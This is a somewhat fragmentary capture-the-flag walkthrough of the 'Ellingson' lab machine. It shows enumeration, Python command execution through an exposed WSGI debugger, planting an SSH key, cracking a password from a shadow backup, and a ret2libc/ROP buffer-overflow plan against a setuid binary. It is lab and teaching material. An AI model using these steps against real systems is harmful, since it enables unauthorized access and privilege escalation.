$ nmap --min-rate 15000 -p- -v 10.10.10.139
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -p 22,80 -sC -sV -T4 10.10.10.139
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PART 2 : PORT ENUMERATION
2.1 TCP PORT 80
The landing page leads to a website for Ellingson Mineral Corp which includes three articles and the faces behind the Company (Hal, Margo, Eugene, and Duke). This is clearly a reference to the 1995 film, Hackers.
One of the articles posted is entitled "Suspicious Network activity" where it writes:
We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague
The articles are accessed throught the /articles directory then followed by an id or index (e.g. /articles/3).
PART 3 : EXPLOITATION
3.1 WSGI DEBUGGER
Attempting to load a non-existent article using an index that is too large or too small redirects the user to a WSGI error page. WSGI (Web Server Gateway Interface) serves as a middleware that handles requests between the web server and the web application.
The error page can also serve as an interactive debugger which you can leverage for command execution. Maybe this could be used to gain a reverse shell or plant an RSA public key to gain persistent access over ssh.
PART 4 : GENERATE USER SHELL (hal)
4.1 Web Shell as hal
Using the command execution over the WSGI debugger:
>>> cmd = "cat /etc/passwd | egrep -e *sh$"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
root:x:0:0:root:/root:/bin/bash
theplague:x:1000:1000:Eugene Belford:/home/theplague:/bin/bash
hal:x:1001:1001:,,,:/home/hal:/bin/bash
margo:x:1002:1002:,,,:/home/margo:/bin/bash
duke:x:1003:1003:,,,:/home/duke:/bin/bash
>>> cmd = "ls -lah /home/hal"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
total 36K
drwxrwx--- 5 hal hal 4.0K May 7 13:12 .
drwxr-xr-x 6 root root 4.0K Mar 9 2019 ..
-rw-r--r-- 1 hal hal 220 Mar 9 2019 .bash_logout
-rw-r--r-- 1 hal hal 3.7K Mar 9 2019 .bashrc
drwx------ 2 hal hal 4.0K Mar 10 2019 .cache
drwx------ 3 hal hal 4.0K Mar 10 2019 .gnupg
-rw-r--r-- 1 hal hal 807 Mar 9 2019 .profile
drwx------ 2 hal hal 4.0K Mar 9 2019 .ssh
-rw------- 1 hal hal 865 Mar 9 2019 .viminfo
>>> cmd = "echo -e '\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDf5LWxsMSacl9zZMA02V7umX21MZ/eIhYCS+iwa9coGiOEWsHO8h2iuDTrOPlg4HSlYx7pgkBe0oPHyorSLYXWHiXQyYqgcS60f1KTmd18hdo15YVReSgk4ZUM7t4j8rj/QqLiypb0cRJMGClWotbNr8UzaYvytl1X0t6z0LVAvC0VHNVqBi/FPjYVrn184ddP0uh1BKDPp2kPvE4Xlnm6D7jUXr72q/kEhB5EbnNNRBi6Dy1gMPQQQTUh1pI4M3yIbAyWvNS6SvLhIOqh76v7cQPI+aX557I+epxxT2B+RsQYW4TjA4fvvAQyktlL39dXzdDn2AXiVyVHDEL68uoMxwbRaz2aGhq0R0l7KZoHqd4sDda8U8vSPTEyofjPDXRUQWYBDsfpn1JHm+bvjXhCli2Mjgwc+Ep0jwSB8oJCiP5l7fi90VmbqKKYKQxLE1oEGBCHfZnNvl6oMnp8nzwUJDtO22yutNggIHeHh8SkVcrdlApospeKIRFTlAOrvyE= root@kali' >> /home/hal/.ssh/authorized_keys"
>>> __import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
4.2 SSH as hal
Now that a public key has been added to .ssh/authorized_keys, attempt to login via ssh using an identity file:
$ ssh -i id_rsa -l hal 10.10.10.139
hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
The adm group has read permissions for the shadow.bak file stored in /var/backups. It contains password hashes for all the members of the Ellingson team.
In the movie referenced by the box, Margo Wallace failed to change her password according to a schedule and her password coincidentally was "GOD" which according to Plague was one of the most commonly used passwords (along with Love, Sex, and Secret) which resulted in their system to be compromised.
Cracking Margo's password hash is probably the next step forward:
Since SHA512 crypt hashes takes a while to crack, limiting the size of the wordlist is recommended. Also, since there is a context on what Margo's password might be, I created a subset of rockyou.txt to only include passwords that contains variations of the string god. The cracked password serves as both UNIX and SSH credentials for the user, margo.
5.2 su as margo
hal@ellingson:~$ su margo
Password: iamgod$08
margo@ellingson:/home/hal$ id
uid=1002(margo) gid=1002(margo) groups=1002(margo)
margo@ellingson:/home/hal$ cd ~
margo@ellingson:~$ ls -lah
total 52K
drwxrwx--- 6 margo margo 4.0K Mar 10 2019 .
drwxr-xr-x 6 root root 4.0K Mar 9 2019 ..
-rw-r--r-- 1 margo margo 220 Mar 9 2019 .bash_logout
-rw-r--r-- 1 margo margo 3.7K Mar 9 2019 .bashrc
drwx------ 2 margo margo 4.0K Mar 10 2019 .cache
drwx------ 3 margo margo 4.0K Mar 10 2019 .gnupg
drwxrwxr-x 3 margo margo 4.0K Mar 10 2019 .local
-rw-r--r-- 1 margo margo 807 Mar 9 2019 .profile
drwx------ 2 margo margo 4.0K Mar 9 2019 .ssh
-r-------- 1 margo margo 33 Mar 10 2019 user.txt
-rw------- 1 margo margo 9.4K Mar 10 2019 .viminfo
margo@ellingson:~$ cat user.txt
d0ff........................5903
Aaaaaand the password checking is indeed done by using strcmp("", "N3veRF3@r1iSh3r3!").
margo@ellingson:~$ /usr/bin/garbage
Enter access password: N3veRF3@r1iSh3r3!
access granted.
[+] W0rM || Control Application
[+] ---------------------------
Select Option
1: Check Balance
2: Launch
3: Cancel
4: Exit
> 1
Balance is $1337
> 2
Row Row Row Your Boat...
> 3
The tankers have stopped capsizing
> 4
Trying to access the garbage binary again with the right password leads to a control panel and all options just outputs a string and are not interactive. If this were a buffer overflow vulnerability, then the only attack vectors left are the password input and the option selection input.
Now, it's time to save the binary locally and attempt to create an exploit:
/usr/bin/garbage is a 64-bit ELF executable with ASLR (Address Space Layout Randomization) enabled which means that certain modules or libraries (especially the libc.so file) are offset randomly every instance generated. Its security features include only NX (non-executable segment) protection and Partial RelRO (Relocation Read-Only).
NX (Non-execute)
The application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa.
Partial RelRO (Relocation Read-Only)
The headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched)
6.3 Program Flow
#1
Checks User ID [ check_user() ]
if uid==1002 or uid==0: GO TO #2
if uid==1000: exit()
#2
Authentication [ auth() ]
if password=="N3veRF3@r1iSh3r3!": GO TO #3
else: exit()
#3
Select Option
if option==1: checkbalance(); GO TO #3
if option==2: launch(); GO TO #3
if option==3: cancel(); GO TO #3
else: exit()
In creating 64-bit ROP chains, the value of the $rdi register can be used to pass a first argument to a function (followed by $rsi, $rdx, $rcx, $r8, then $r9). To summarize the code snippet above, the address [rbp-0x80] is saved to $rax which is then moved to $rdi. [rbp-0x80] is now the effective address where the function call gets@plt will save the input from STDIN.
External function calls such as gets@plt are using dynamic linkers (e.g. ld.so) to resolve the address of libc functions during run-time and are saved to the GOT (Global Offset Table). The GOT serves as a reference for all external function calls or anything that is referenced to a shared library then the PLT (Procedure Linkage Table) serves as a means for the compiled executable to access such functions.
Since there is an address space that is writable (using gets@plt) and there is an easy way to view stored values (using puts@plt), it could be used to leak addresses from the libc.so file required by the executable to gain total control over the binary in order to gain command execution.
The address space where the user inputs a password for authentication is stored in [rbp-0x80]. Since the return address is, in this case, 8 bytes away from the base pointer, writing 8 bytes beyond [rbp-0x80] would overwrite the value of $rbp and another 8 bytes would overwrite the return address.
The return call of the auth() function is now overwritten to be CCCCCCCC or 4343434343434343
This process sets the value of $rdi to be the address of puts@got.plt directly offset from the libc shared object. $rdi then gets passed as an argument to the function, puts@plt then output to STDOUT. This process is essential to be able to infer the libc version being used by the infected machine (ellingson).
The exploit returns back to the main function. Since the executable is still running, the libc dynamically linked to the executable is still in the same address which means that the address leaked using the exploit above is still useful. The process of creating a ROP payload then returning to main can be repeated until all preparations to achieve command execution are completed.
a portion of an object file or the corresponding virtual address space of a program that contains initialized static variables, that is, global variables and static local variables. The size of this segment is determined by the size of the values in the program's source code, and does not change at run time.
The data segment is read-write, since the values of variables can be altered at run time. Uninitialized data, both variables and constants, is instead in the BSS segment.
The string /bin/sh was written in the .data segment (which was otherwise basically empty).
The base address of the libc is calculated by removing the offset of the leaked puts address. Knowing the base address of the libc used during run-time means you can call the functions you want with the right offsets. The offsets of each libc function are constant in their respective versions and architecture which could pretty much be easily computed.